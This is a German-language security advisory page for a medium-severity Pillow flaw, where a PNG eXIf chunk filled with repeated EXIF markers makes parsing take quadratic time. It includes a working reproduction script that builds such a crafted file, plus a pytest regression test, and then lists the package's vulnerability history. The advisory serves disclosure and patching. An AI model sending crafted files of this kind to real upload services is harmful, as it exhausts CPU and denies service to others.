Mittel

Pillow: PNG-eXIf-Chunk führt zu quadratischer Laufzeit beim Parsen von EXIF-Daten

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 29.10.2026 12:17

Die Originalmeldung wurde seit der Erstellung dieser Erklärung geändert. Prüfen Sie die aktuellen technischen Daten und die Originalmeldung unten.

Zusammenfassung

Eine PNG-Datei mit einem großen eXIf-Chunk voller wiederholter 6-Byte-Marker führt dazu, dass der EXIF-Parser von Pillow Sekunden an CPU-Zeit statt Millisekunden benötigt. Der Aufwand wächst quadratisch mit der Chunk-Größe, sodass bereits eine Datei in der Größe eines normalen kleinen Fotos ausreicht, um spürbare Verzögerungen zu verursachen.

Details

Exif.load() in src/PIL/Image.py entfernt einen Marker vom Anfang der EXIF-Daten wie folgt:

python
  while data and data.startswith(b"Exif\x00\x00"):
      data = data[6:]

Bei jedem Durchlauf wird eine neue Kopie der verbleibenden Daten erstellt. Eine reale Kamera schreibt diesen Marker normalerweise nur einmal, weshalb dies regulär kein Problem darstellt.

chunk_eXIf() in src/PIL/PngImagePlugin.py übernimmt den rohen PNG-eXIf-Chunk direkt in info["exif"] ohne Größenbeschränkung und ohne Inhaltsprüfung. PNG-Text-Chunks (tEXt, zTXt, iTXt) werden durch MAX_TEXT_CHUNK und MAX_TEXT_MEMORY begrenzt. Der eXIf-Chunk verfügt über keine solche Begrenzung.

Wenn der eXIf-Chunk mit wiederholten Exif\x00\x00-Markern anstelle echter EXIF-Daten gefüllt ist, wird die Bereinigungsschleife für jeden Marker einmal ausgeführt und kopiert jedes Mal einen großen Puffer. Dies führt zu quadratischer Laufzeit.

Schritte zur Reproduktion

Hiermit wird ein kleines PNG im Speicher erstellt und Image.open().getexif() darauf zeitlich gemessen. Eine externe Datei ist nicht erforderlich:

python
  import time
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  marker = b"Exif\x00\x00"
  exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
  data = MAGIC + IHDR + exif_chunk + IDAT + IEND

  start = time.time()
  with Image.open(BytesIO(data)) as im:
      im.getexif()
  print("took", time.time() - start, "seconds")

Erwartete Ausgabe in einer korrigierten Version: deutlich unter 0.1 Sekunden, wie bei einer normalen Datei dieser Größe.

Tatsächliche Ausgabe im betroffenen Code: etwa 3.5 bis 3.7 Sekunden für eine einzelne 1.8MB-Datei. Die Zeit wird innerhalb der Bereinigungsschleife verbracht. Die Wachstumsrate über verschiedene Größen (200KB, 600KB, 1.2MB, 1.8MB) entspricht einem quadratischen Anstieg.

Eine pytest-Version dieses Tests unter Verwendung von pytest-timeout, damit ein Testlauf bei Vorhandensein des Fehlers nicht einfriert, schlägt mit Failed: Timeout (>2.0s) from pytest-timeout fehl:

python
  import pytest
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  @pytest.mark.timeout(2)
  def test_exif_load_is_not_quadratic():
      marker = b"Exif\x00\x00"
      exif_chunk = chunk(b"eXIf", marker * 300_000)
      data = MAGIC + IHDR + exif_chunk + IDAT + IEND
      with Image.open(BytesIO(data)) as im:
          im.getexif()

Auswirkungen

  • Verfügbarkeit: Ein Angreifer, der die Verarbeitung einer PNG-Datei veranlassen kann, kann mehrere Sekunden CPU-Zeit pro Anfrage verbrauchen. Größere Dateien skalieren schlechter, da der Aufwand quadratisch statt linear ist.
  • Vertraulichkeit: Keine.
  • Integrität: Keine.
  • Dies betrifft Aufrufe über Image.getexif(), Image._getexif() und ImageOps.exif_transpose(). Da exif_transpose() in der Dokumentation von Pillow für das automatische Drehen von Benutzerfotos empfohlen wird, kann dies normalen Code zur Verarbeitung von Datei-Uploads betreffen.

Was zu tun ist

Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 11.0.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-407
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
21.10.2026
Aktualisiert
29.10.2026 12:17

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - PYSEC-2026-4342 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-g4qv-2jxx-769h - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (106) im Archiv
Einträge insgesamt
106
Erste → letzte
04.2014 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 14
  • Hoch 63
  • Mittel 27
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

früher: 12

Schweregrad:
  1. Pillow: PNG-eXIf-Chunk führt zu quadratischer Laufzeit beim Parsen von EXIF-Daten dieser Eintrag
    Mittel · 6.5 CVE-2026-96643 >= 11.0.0, < 13.0.0 13.0.0
  2. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Hoch · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  5. Kritisch · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  6. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  7. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  8. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  9. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  10. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  11. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  12. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  13. Hoch · 8.8 In Angriffen ausgenutzt CVE-2023-4863 < 10.0.1 10.0.1
  14. Hoch · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  15. Hoch · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  16. Hoch · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
Mehr anzeigen (20) 40 von 78 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.